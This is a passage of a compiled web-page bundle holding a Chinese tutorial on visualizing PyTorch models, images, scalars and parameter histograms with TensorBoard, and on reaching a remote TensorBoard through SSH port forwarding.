SummaryWriter('./runs')\n"})}),"\n",(0,t.jsx)(n.p,{children:'\u4e0a\u9762\u7684\u64cd\u4f5c\u5b9e\u4f8b\u5316SummaryWritter\u4e3a\u53d8\u91cfwriter\uff0c\u5e76\u6307\u5b9awriter\u7684\u8f93\u51fa\u76ee\u5f55\u4e3a\u5f53\u524d\u76ee\u5f55\u4e0b\u7684"runs"\u76ee\u5f55\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u4e4b\u540etensorboard\u8bb0\u5f55\u4e0b\u6765\u7684\u5185\u5bb9\u90fd\u4f1a\u4fdd\u5b58\u5728runs\u3002'}),"\n",(0,t.jsx)(n.p,{children:"\u5982\u679c\u4f7f\u7528PyTorch\u81ea\u5e26\u7684tensorboard\uff0c\u5219\u91c7\u7528\u5982\u4e0b\u65b9\u5f0fimport\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"from torch.utils.tensorboard import SummaryWriter\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u806a\u660e\u7684\u4f60\u53ef\u80fd\u53d1\u73b0\u4e86\uff0c\u662f\u5426\u53ef\u4ee5\u624b\u52a8\u5f80runs\u6587\u4ef6\u5939\u91cc\u6dfb\u52a0\u6570\u636e\u7528\u4e8e\u53ef\u89c6\u5316\uff0c\u6216\u8005\u628aruns\u6587\u4ef6\u5939\u91cc\u7684\u6570\u636e\u653e\u5230\u5176\u4ed6\u673a\u5668\u4e0a\u53ef\u89c6\u5316\u5462\uff1f\u7b54\u6848\u662f\u53ef\u4ee5\u7684\u3002\u53ea\u8981\u6570\u636e\u88ab\u8bb0\u5f55\uff0c\u4f60\u53ef\u4ee5\u5c06\u8fd9\u4e2a\u6570\u636e\u5206\u4eab\u7ed9\u5176\u4ed6\u4eba\uff0c\u5176\u4ed6\u4eba\u5728\u5b89\u88c5\u4e86tensorboard\u7684\u60c5\u51b5\u4e0b\u5c31\u4f1a\u770b\u5230\u4f60\u5206\u4eab\u7684\u6570\u636e\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u542f\u52a8tensorboard\u4e5f\u5f88\u7b80\u5355\uff0c\u5728\u547d\u4ee4\u884c\u4e2d\u8f93\u5165"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"tensorboard --logdir=/path/to/logs/ --port=xxxx\n"})}),"\n",(0,t.jsx)(n.p,{children:'\u5176\u4e2d\u201cpath/to/logs/"\u662f\u6307\u5b9a\u7684\u4fdd\u5b58tensorboard\u8bb0\u5f55\u7ed3\u679c\u7684\u6587\u4ef6\u8def\u5f84\uff08\u7b49\u4ef7\u4e8e\u4e0a\u9762\u7684\u201c./runs"\uff0cport\u662f\u5916\u90e8\u8bbf\u95eeTensorBoard\u7684\u7aef\u53e3\u53f7\uff0c\u53ef\u4ee5\u901a\u8fc7\u8bbf\u95eeip:port\u8bbf\u95eetensorboard\uff0c\u8fd9\u4e00\u64cd\u4f5c\u548cjupyter notebook\u7684\u4f7f\u7528\u7c7b\u4f3c\u3002\u5982\u679c\u4e0d\u662f\u5728\u670d\u52a1\u5668\u8fdc\u7a0b\u4f7f\u7528\u7684\u8bdd\u5219\u4e0d\u9700\u8981\u914d\u7f6eport\u3002'}),"\n",(0,t.jsx)(n.p,{children:"\u6709\u65f6\uff0c\u4e3a\u4e86tensorboard\u80fd\u591f\u4e0d\u65ad\u5730\u5728\u540e\u53f0\u8fd0\u884c\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528nohup\u547d\u4ee4\u6216\u8005tmux\u5de5\u5177\u6765\u8fd0\u884ctensorboard\u3002\u5927\u5bb6\u53ef\u4ee5\u81ea\u884c\u641c\u7d22\uff0c\u8fd9\u91cc\u4e0d\u5c55\u5f00\u8ba8\u8bba\u4e86\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u4e0b\u9762\uff0c\u6211\u4eec\u5c06\u6a21\u62df\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u6765\u4ecb\u7ecd\u5982\u4f55\u5229\u7528TensorBoard\u53ef\u89c6\u5316\u5176\u4e2d\u7684\u5404\u4e2a\u90e8\u5206\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"734-tensorboard\u6a21\u578b\u7ed3\u6784\u53ef\u89c6\u5316",children:"7.3.4 TensorBoard\u6a21\u578b\u7ed3\u6784\u53ef\u89c6\u5316"}),"\n",(0,t.jsx)(n.p,{children:"\u9996\u5148\u5b9a\u4e49\u6a21\u578b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torch.nn as nn\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(in_channels=3,out_channels=32,kernel_size = 3)\n self.pool = nn.MaxPool2d(kernel_size = 2,stride = 2)\n self.conv2 = nn.Conv2d(in_channels=32,out_channels=64,kernel_size = 5)\n self.adaptive_pool = nn.AdaptiveMaxPool2d((1,1))\n self.flatten = nn.Flatten()\n self.linear1 = nn.Linear(64,32)\n self.relu = nn.ReLU()\n self.linear2 = nn.Linear(32,1)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self,x):\n x = self.conv1(x)\n x = self.pool(x)\n x = self.conv2(x)\n x = self.pool(x)\n x = self.adaptive_pool(x)\n x = self.flatten(x)\n x = self.linear1(x)\n x = self.relu(x)\n x = self.linear2(x)\n y = self.sigmoid(x)\n return y\n\nmodel = Net()\nprint(model)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8f93\u51fa\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:"Net(\n (conv1): Conv2d(3, 32, kernel_size=(3, 3), stride=(1, 1))\n (pool): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)\n (conv2): Conv2d(32, 64, kernel_size=(5, 5), stride=(1, 1))\n (adaptive_pool): AdaptiveMaxPool2d(output_size=(1, 1))\n (flatten): Flatten(start_dim=1, end_dim=-1)\n (linear1): Linear(in_features=64, out_features=32, bias=True)\n (relu): ReLU()\n (linear2): Linear(in_features=32, out_features=1, bias=True)\n (sigmoid): Sigmoid()\n)\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u53ef\u89c6\u5316\u6a21\u578b\u7684\u601d\u8def\u548c7.1\u4e2d\u4ecb\u7ecd\u7684\u65b9\u6cd5\u4e00\u6837\uff0c\u90fd\u662f\u7ed9\u5b9a\u4e00\u4e2a\u8f93\u5165\u6570\u636e\uff0c\u524d\u5411\u4f20\u64ad\u540e\u5f97\u5230\u6a21\u578b\u7684\u7ed3\u6784\uff0c\u518d\u901a\u8fc7TensorBoard\u8fdb\u884c\u53ef\u89c6\u5316\uff0c\u4f7f\u7528add_graph\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"writer.add_graph(model, input_to_model = torch.rand(1, 3, 224, 224))\nwriter.close()\n"})}),"\n",(0,t.jsx)(n.p,{children:'\u5c55\u793a\u7ed3\u679c\u5982\u4e0b\uff08\u5176\u4e2d\u6846\u5185\u90e8\u5206\u521d\u59cb\u4f1a\u663e\u793a\u4e3a\u201cNet"\uff0c\u9700\u8981\u53cc\u51fb\u540e\u624d\u4f1a\u5c55\u5f00\uff09\uff1a'}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_model",src:r(68539).A+"",width:"1076",height:"1008"})}),"\n",(0,t.jsx)(n.h2,{id:"735-tensorboard\u56fe\u50cf\u53ef\u89c6\u5316",children:"7.3.5 TensorBoard\u56fe\u50cf\u53ef\u89c6\u5316"}),"\n",(0,t.jsx)(n.p,{children:"\u5f53\u6211\u4eec\u505a\u56fe\u50cf\u76f8\u5173\u7684\u4efb\u52a1\u65f6\uff0c\u53ef\u4ee5\u65b9\u4fbf\u5730\u5c06\u6240\u5904\u7406\u7684\u56fe\u7247\u5728tensorboard\u4e2d\u8fdb\u884c\u53ef\u89c6\u5316\u5c55\u793a\u3002"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u5bf9\u4e8e\u5355\u5f20\u56fe\u7247\u7684\u663e\u793a\u4f7f\u7528add_image"}),"\n",(0,t.jsx)(n.li,{children:"\u5bf9\u4e8e\u591a\u5f20\u56fe\u7247\u7684\u663e\u793a\u4f7f\u7528add_images"}),"\n",(0,t.jsx)(n.li,{children:"\u6709\u65f6\u9700\u8981\u4f7f\u7528torchvision.utils.make_grid\u5c06\u591a\u5f20\u56fe\u7247\u62fc\u6210\u4e00\u5f20\u56fe\u7247\u540e\uff0c\u7528writer.add_image\u663e\u793a"}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528torchvision\u7684CIFAR10\u6570\u636e\u96c6\u4e3a\u4f8b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torchvision\nfrom torchvision import datasets, transforms\nfrom torch.utils.data import DataLoader\n\ntransform_train = transforms.Compose(\n [transforms.ToTensor()])\ntransform_test = transforms.Compose(\n [transforms.ToTensor()])\n\ntrain_data = datasets.CIFAR10(\".\", train=True, download=True, transform=transform_train)\ntest_data = datasets.CIFAR10(\".\", train=False, download=True, transform=transform_test)\ntrain_loader = DataLoader(train_data, batch_size=64, shuffle=True)\ntest_loader = DataLoader(test_data, batch_size=64)\n\nimages, labels = next(iter(train_loader))\n \n# \u4ec5\u67e5\u770b\u4e00\u5f20\u56fe\u7247\nwriter = SummaryWriter('./pytorch_tb')\nwriter.add_image('images[0]', images[0])\nwriter.close()\n \n# \u5c06\u591a\u5f20\u56fe\u7247\u62fc\u63a5\u6210\u4e00\u5f20\u56fe\u7247\uff0c\u4e2d\u95f4\u7528\u9ed1\u8272\u7f51\u683c\u5206\u5272\n# create grid of images\nwriter = SummaryWriter('./pytorch_tb')\nimg_grid = torchvision.utils.make_grid(images)\nwriter.add_image('image_grid', img_grid)\nwriter.close()\n \n# \u5c06\u591a\u5f20\u56fe\u7247\u76f4\u63a5\u5199\u5165\nwriter = SummaryWriter('./pytorch_tb')\nwriter.add_images(\"images\",images,global_step = 0)\nwriter.close()\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u4f9d\u6b21\u8fd0\u884c\u4e0a\u9762\u4e09\u7ec4\u53ef\u89c6\u5316\uff08\u6ce8\u610f\u4e0d\u8981\u540c\u65f6\u5728notebook\u7684\u4e00\u4e2a\u5355\u5143\u683c\u5185\u8fd0\u884c\uff09\uff0c\u5f97\u5230\u7684\u53ef\u89c6\u5316\u7ed3\u679c\u5982\u4e0b\uff08\u6700\u540e\u8fd0\u884c\u7684\u7ed3\u679c\u5728\u6700\u4e0a\u9762\uff09\uff1a"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_images",src:r(56800).A+"",width:"791",height:"482"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_image_gird",src:r(63512).A+"",width:"1075",height:"622"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_image",src:r(52499).A+"",width:"785",height:"471"})}),"\n",(0,t.jsx)(n.p,{children:'\u53e6\u5916\u6ce8\u610f\u4e0a\u65b9menu\u90e8\u5206\uff0c\u521a\u521a\u53ea\u6709\u201cGRAPHS"\u680f\u5bf9\u5e94\u6a21\u578b\u7684\u53ef\u89c6\u5316\uff0c\u73b0\u5728\u5219\u591a\u51fa\u4e86\u201dIMAGES\u201c\u680f\u5bf9\u5e94\u56fe\u50cf\u7684\u53ef\u89c6\u5316\u3002\u5de6\u4fa7\u7684\u6ed1\u52a8\u6309\u94ae\u53ef\u4ee5\u8c03\u6574\u56fe\u50cf\u7684\u4eae\u5ea6\u548c\u5bf9\u6bd4\u5ea6\u3002'}),"\n",(0,t.jsx)(n.p,{children:"\u6b64\u5916\uff0c\u9664\u4e86\u53ef\u89c6\u5316\u539f\u59cb\u56fe\u50cf\uff0cTensorBoard\u63d0\u4f9b\u7684\u53ef\u89c6\u5316\u65b9\u6848\u81ea\u7136\u4e5f\u9002\u7528\u4e8e\u6211\u4eec\u5728Python\u4e2d\u7528matplotlib\u7b49\u5de5\u5177\u7ed8\u5236\u7684\u5176\u4ed6\u56fe\u50cf\uff0c\u7528\u4e8e\u5c55\u793a\u5206\u6790\u7ed3\u679c\u7b49\u5185\u5bb9\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"736-tensorboard\u8fde\u7eed\u53d8\u91cf\u53ef\u89c6\u5316",children:"7.3.6 TensorBoard\u8fde\u7eed\u53d8\u91cf\u53ef\u89c6\u5316"}),"\n",(0,t.jsx)(n.p,{children:"TensorBoard\u53ef\u4ee5\u7528\u6765\u53ef\u89c6\u5316\u8fde\u7eed\u53d8\u91cf\uff08\u6216\u65f6\u5e8f\u53d8\u91cf\uff09\u7684\u53d8\u5316\u8fc7\u7a0b\uff0c\u901a\u8fc7add_scalar\u5b9e\u73b0\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:'writer = SummaryWriter(\'./pytorch_tb\')\nfor i in range(500):\n x = i\n y = x**2\n writer.add_scalar("x", x, i) #\u65e5\u5fd7\u4e2d\u8bb0\u5f55x\u5728\u7b2cstep i \u7684\u503c\n writer.add_scalar("y", y, i) #\u65e5\u5fd7\u4e2d\u8bb0\u5f55y\u5728\u7b2cstep i \u7684\u503c\nwriter.close()\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u53ef\u89c6\u5316\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_scalar",src:r(60678).A+"",width:"1068",height:"794"})}),"\n",(0,t.jsx)(n.p,{children:"\u5982\u679c\u60f3\u5728\u540c\u4e00\u5f20\u56fe\u4e2d\u663e\u793a\u591a\u4e2a\u66f2\u7ebf\uff0c\u5219\u9700\u8981\u5206\u522b\u5efa\u7acb\u5b58\u653e\u5b50\u8def\u5f84\uff08\u4f7f\u7528SummaryWriter\u6307\u5b9a\u8def\u5f84\u5373\u53ef\u81ea\u52a8\u521b\u5efa\uff0c\u4f46\u9700\u8981\u5728tensorboard\u8fd0\u884c\u76ee\u5f55\u4e0b\uff09\uff0c\u540c\u65f6\u5728add_scalar\u4e2d\u4fee\u6539\u66f2\u7ebf\u7684\u6807\u7b7e\u4f7f\u5176\u4e00\u81f4\u5373\u53ef\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"writer1 = SummaryWriter('./pytorch_tb/x')\nwriter2 = SummaryWriter('./pytorch_tb/y')\nfor i in range(500):\n x = i\n y = x*2\n writer1.add_scalar(\"same\", x, i) #\u65e5\u5fd7\u4e2d\u8bb0\u5f55x\u5728\u7b2cstep i \u7684\u503c\n writer2.add_scalar(\"same\", y, i) #\u65e5\u5fd7\u4e2d\u8bb0\u5f55y\u5728\u7b2cstep i \u7684\u503c\nwriter1.close()\nwriter2.close()\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_scalar_twolines",src:r(29145).A+"",width:"1071",height:"639"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u4e5f\u53ef\u4ee5\u7528\u4e00\u4e2awriter\uff0c\u4f46for\u5faa\u73af\u4e2d\u4e0d\u65ad\u521b\u5efaSummaryWriter\u4e0d\u662f\u4e00\u4e2a\u597d\u9009\u9879\u3002\u6b64\u65f6\u5de6\u4e0b\u89d2\u7684Runs\u90e8\u5206\u51fa\u73b0\u4e86\u52fe\u9009\u9879\uff0c\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u6211\u4eec\u60f3\u8981\u53ef\u89c6\u5316\u7684\u66f2\u7ebf\u3002\u66f2\u7ebf\u540d\u79f0\u5bf9\u5e94\u5b58\u653e\u5b50\u8def\u5f84\u7684\u540d\u79f0\uff08\u8fd9\u91cc\u662fx\u548cy\uff09\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u90e8\u5206\u529f\u80fd\u975e\u5e38\u9002\u5408\u635f\u5931\u51fd\u6570\u7684\u53ef\u89c6\u5316\uff0c\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u66f4\u52a0\u76f4\u89c2\u5730\u4e86\u89e3\u6a21\u578b\u7684\u8bad\u7ec3\u60c5\u51b5\uff0c\u4ece\u800c\u786e\u5b9a\u6700\u4f73\u7684checkpoint\u3002\u5de6\u4fa7\u7684Smoothing\u6ed1\u52a8\u6309\u94ae\u53ef\u4ee5\u8c03\u6574\u66f2\u7ebf\u7684\u5e73\u6ed1\u5ea6\uff0c\u5f53\u635f\u5931\u51fd\u6570\u9707\u8361\u8f83\u5927\u65f6\uff0c\u5c06Smoothing\u8c03\u5927\u6709\u52a9\u4e8e\u89c2\u5bdfloss\u7684\u6574\u4f53\u53d8\u5316\u8d8b\u52bf\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"737-tensorboard\u53c2\u6570\u5206\u5e03\u53ef\u89c6\u5316",children:"7.3.7 TensorBoard\u53c2\u6570\u5206\u5e03\u53ef\u89c6\u5316"}),"\n",(0,t.jsx)(n.p,{children:"\u5f53\u6211\u4eec\u9700\u8981\u5bf9\u53c2\u6570\uff08\u6216\u5411\u91cf\uff09\u7684\u53d8\u5316\uff0c\u6216\u8005\u5bf9\u5176\u5206\u5e03\u8fdb\u884c\u7814\u7a76\u65f6\uff0c\u53ef\u4ee5\u65b9\u4fbf\u5730\u7528TensorBoard\u6765\u8fdb\u884c\u53ef\u89c6\u5316\uff0c\u901a\u8fc7add_histogram\u5b9e\u73b0\u3002\u4e0b\u9762\u7ed9\u51fa\u4e00\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"import torch\nimport numpy as np\n\n# \u521b\u5efa\u6b63\u6001\u5206\u5e03\u7684\u5f20\u91cf\u6a21\u62df\u53c2\u6570\u77e9\u9635\ndef norm(mean, std):\n t = std * torch.randn((100, 20)) + mean\n return t\n \nwriter = SummaryWriter('./pytorch_tb/')\nfor step, mean in enumerate(range(-10, 10, 1)):\n w = norm(mean, 1)\n writer.add_histogram(\"w\", w, step)\n writer.flush()\nwriter.close()\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"tb_hist",src:r(91094).A+"",width:"1074",height:"731"})}),"\n",(0,t.jsx)(n.h2,{id:"738-\u670d\u52a1\u5668\u7aef\u4f7f\u7528tensorboard",children:"7.3.8 \u670d\u52a1\u5668\u7aef\u4f7f\u7528TensorBoard"}),"\n",(0,t.jsx)(n.p,{children:"\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u4f1a\u8fde\u63a5\u8fdc\u7a0b\u7684\u670d\u52a1\u5668\u6765\u5bf9\u6a21\u578b\u8fdb\u884c\u8bad\u7ec3\uff0c\u4f46\u7531\u4e8e\u670d\u52a1\u5668\u7aef\u662f\u6ca1\u6709\u6d4f\u89c8\u5668\u7684\uff08\u7eaf\u547d\u4ee4\u6a21\u5f0f\uff09\uff0c\u56e0\u6b64\uff0c\u6211\u4eec\u9700\u8981\u8fdb\u884c\u76f8\u5e94\u7684\u914d\u7f6e\uff0c\u624d\u53ef\u4ee5\u5728\u672c\u5730\u6d4f\u89c8\u5668\uff0c\u4f7f\u7528tensorboard\u67e5\u770b\u670d\u52a1\u5668\u8fd0\u884c\u7684\u8bad\u7ec3\u8fc7\u7a0b\u3002\n\u672c\u6587\u63d0\u4f9b\u4ee5\u4e0b\u51e0\u79cd\u65b9\u5f0f\u8fdb\u884c\uff0c\u5176\u4e2d\u524d\u4e24\u79cd\u65b9\u6cd5\u90fd\u662f\u5efa\u7acbSSH\u96a7\u9053\uff0c\u5b9e\u73b0\u8fdc\u7a0b\u7aef\u53e3\u5230\u672c\u673a\u7aef\u53e3\u7684\u8f6c\u53d1\uff0c\u6700\u540e\u4e00\u79cd\u65b9\u6cd5\u9002\u7528\u4e8e\u6ca1\u6709\u4e0b\u8f7dXshell\u7b49SSH\u8fde\u63a5\u5de5\u5177\u7684\u7528\u6237"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"MobaXterm"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:"\u5728MobaXterm\u70b9\u51fbTunneling"}),"\n",(0,t.jsx)(n.li,{children:"\u9009\u62e9New SSH tunnel\uff0c\u6211\u4eec\u4f1a\u51fa\u73b0\u4ee5\u4e0b\u754c\u9762\u3002"}),"\n"]}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.img,{alt:"ssh_tunnel",src:r(62899).A+"",width:"1288",height:"877"}),"\n3. \u5bf9\u65b0\u5efa\u7684SSH\u901a\u9053\u505a\u4ee5\u4e0b\u8bbe\u7f6e\uff0c\u7b2c\u4e00\u680f\u6211\u4eec\u9009\u62e9",(0,t.jsx)(n.code,{children:"Local port forwarding"}),"\uff0c",(0,t.jsx)(n.code,{children:"< Remote Server>"}),"\u6211\u4eec\u586b\u5199",(0,t.jsx)(n.strong,{children:"localhost"}),"\uff0c",(0,t.jsx)(n.code,{children:"< Remote port>"}),"\u586b\u51996006\uff0ctensorboard\u9ed8\u8ba4\u4f1a\u57286006\u7aef\u53e3\u8fdb\u884c\u663e\u793a\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u6839\u636e ",(0,t.jsx)(n.strong,{children:"tensorboard --logdir=/path/to/logs/ --port=xxxx"}),"\u7684\u547d\u4ee4\u4e2d\u7684port\u8fdb\u884c\u4fee\u6539\uff0c",(0,t.jsx)(n.code,{children:"< SSH server>"})," \u586b\u5199\u6211\u4eec\u8fde\u63a5\u670d\u52a1\u5668\u7684ip\u5730\u5740\uff0c",(0,t.jsx)(n.code,{children:""}),"\u586b\u5199\u6211\u4eec\u8fde\u63a5\u7684\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\uff0c",(0,t.jsx)(n.code,{children:""}),"\u586b\u5199\u7aef\u53e3\u53f7\uff08\u901a\u5e38\u4e3a22\uff09\uff0c",(0,t.jsx)(n.code,{children:"< forwarded port>"}),"\u586b\u5199\u7684\u662f\u672c\u5730\u7684\u4e00\u4e2a\u7aef\u53e3\u53f7\uff0c\u4ee5\u4fbf\u6211\u4eec\u540e\u9762\u53ef\u4ee5\u5bf9\u5176\u8fdb\u884c\u8bbf\u95ee\u3002\n4. \u8bbe\u5b9a\u597d\u4e4b\u540e\uff0c\u70b9\u51fbSave\uff0c\u7136\u540eStart\u3002\u5728\u542f\u52a8tensorboard\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u672c\u5730\u7684\u6d4f\u89c8\u5668\u8f93\u5165",(0,t.jsx)(n.code,{children:"http://localhost:6006/"}),"\u5bf9\u5176\u8fdb\u884c\u8bbf\u95ee\u4e86"]}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"Xshell"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:"Xshell\u7684\u8fde\u63a5\u65b9\u6cd5\u4e0eMobaXterm\u7684\u8fde\u63a5\u65b9\u5f0f\u672c\u8d28\u4e0a\u662f\u4e00\u6837\u7684\uff0c\u5177\u4f53\u64cd\u4f5c\u5982\u4e0b\uff1a"}),"\n",(0,t.jsxs)(n.li,{children:["\u8fde\u63a5\u4e0a\u670d\u52a1\u5668\u540e\uff0c\u6253\u5f00\u5f53\u524d\u4f1a\u8bdd\u5c5e\u6027\uff0c\u4f1a\u51fa\u73b0\u4e0b\u56fe\uff0c\u6211\u4eec\u9009\u62e9\u96a7\u9053\uff0c\u70b9\u51fb\u6dfb\u52a0\n",(0,t.jsx)(n.img,{alt:"xhell_ui",src:r(43936).A+"",width:"1046",height:"992"})]}),"\n",(0,t.jsxs)(n.li,{children:["\u6309\u7167\u4e0b\u65b9\u56fe\u8fdb\u884c\u9009\u62e9\uff0c\u5176\u4e2d\u76ee\u6807\u4e3b\u673a\u4ee3\u8868\u7684\u662f\u670d\u52a1\u5668\uff0c\u6e90\u4e3b\u673a\u4ee3\u8868\u7684\u662f\u672c\u5730\uff0c\u7aef\u53e3\u7684\u9009\u62e9\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u800c\u5b9a\u3002\n",(0,t.jsx)(n.img,{alt:"xhell_set",src:r(29936).A+"",width:"700",height:"510"})]}),"\n",(0,t.jsx)(n.li,{children:"\u542f\u52a8tensorboard\uff0c\u5728\u672c\u5730127.0.0.1:6006 \u6216\u8005 localhost:6006\u8fdb\u884c\u8bbf\u95ee\u3002"}),"\n"]}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"SSH"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:"\u8be5\u65b9\u6cd5\u662f\u5c06\u670d\u52a1\u5668\u76846006\u7aef\u53e3\u91cd\u5b9a\u5411\u5230\u81ea\u5df1\u673a\u5668\u4e0a\u6765\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u672c\u5730\u7684\u7ec8\u7aef\u91cc\u8f93\u5165\u4ee5\u4e0b\u4ee3\u7801\uff1a\u5176\u4e2d16006\u4ee3\u8868\u6620\u5c04\u5230\u672c\u5730\u7684\u7aef\u53e3\uff0c6006\u4ee3\u8868\u7684\u662f\u670d\u52a1\u5668\u4e0a\u7684\u7aef\u53e3\u3002"}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:" ssh -L 16006:127.0.0.1:6006 username@remote_server_ip\n"})}),"\n",(0,t.jsxs)(n.ol,{start:"2",children:["\n",(0,t.jsx)(n.li,{children:"\u5728\u670d\u52a1\u4e0a\u4f7f\u7528\u9ed8\u8ba4\u76846006\u7aef\u53e3\u6b63\u5e38\u542f\u52a8tensorboard"}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"tensorboard --logdir=xxx --port=6006\n"})}),"\n",(0,t.jsxs)(n.ol,{start:"3",children:["\n",(0,t.jsx)(n.li,{children:"\u5728\u672c\u5730\u7684\u6d4f\u89c8\u5668\u8f93\u5165\u5730\u5740"}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"127.0.0.1:16006 \u6216\u8005 localhost:16006\n"})}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"739-\u603b\u7ed3",children:"7.3.9 \u603b\u7ed3"}),"\n",(0,t.jsx)(n.p,{children:"\u5bf9\u4e8eTensorBoard\u6765\u8bf4\uff0c\u5b83\u7684\u529f\u80fd\u662f\u5f88\u5f3a\u5927\u7684\uff0c\u53ef\u4ee5\u8bb0\u5f55\u7684\u4e1c\u897f\u4e0d\u53ea\u9650\u4e8e\u672c\u8282\u6240\u4ecb\u7ecd\u7684\u8303\u56f4\u3002"}),"\n",(0,t.jsxs)(n.p,{children:["\u4e3b\u8981\u7684\u5b9e\u73b0\u65b9\u6848\u662f\u6784\u5efa\u4e00\u4e2aSummaryWriter\uff0c\u7136\u540e\u901a\u8fc7",(0,t.jsx)(n.code,{children:"add_XXX()"}),"\u51fd\u6570\u6765\u5b9e\u73b0\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u5176\u5b9eTensorBoard\u7684\u903b\u8f91\u8fd8\u662f\u5f88\u7b80\u5355\u7684\uff0c\u5b83\u7684",(0,t.jsx)(n.strong,{children:"\u57fa\u672c\u903b\u8f91\u5c31\u662f\u6587\u4ef6\u7684\u8bfb\u5199\u903b\u8f91"}),"\uff0c\u5199\u5165\u60f3\u8981\u53ef\u89c6\u5316\u7684\u6570\u636e\uff0c\u7136\u540eTensorBoard\u81ea\u5df1\u4f1a\u8bfb\u51fa\u6765\u3002"]}),"\n",(0,t.jsx)(n.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://blog.csdn.net/Python_Ai_Road/article/details/107704530",children:"https://blog.csdn.net/Python_Ai_Road/article/details/107704530"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,o.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(c,{...e})}):c(e)}},28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>d});var s=r(96540);const t={},o=s.createContext(t);function i(e){const n=s.useContext(o);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:i(e.components),s.createElement(o.Provider,{value:n},e.children)}},29145:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_twolines-6c4bbd50a2e7aa3ce6ac4032be47c066.png"},29936:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/xshell_set-4e0c80744c0e0cf118eb655774dd7016.png"},43936:(e,n,r)=>{r.d(n,{A:()=>s});const 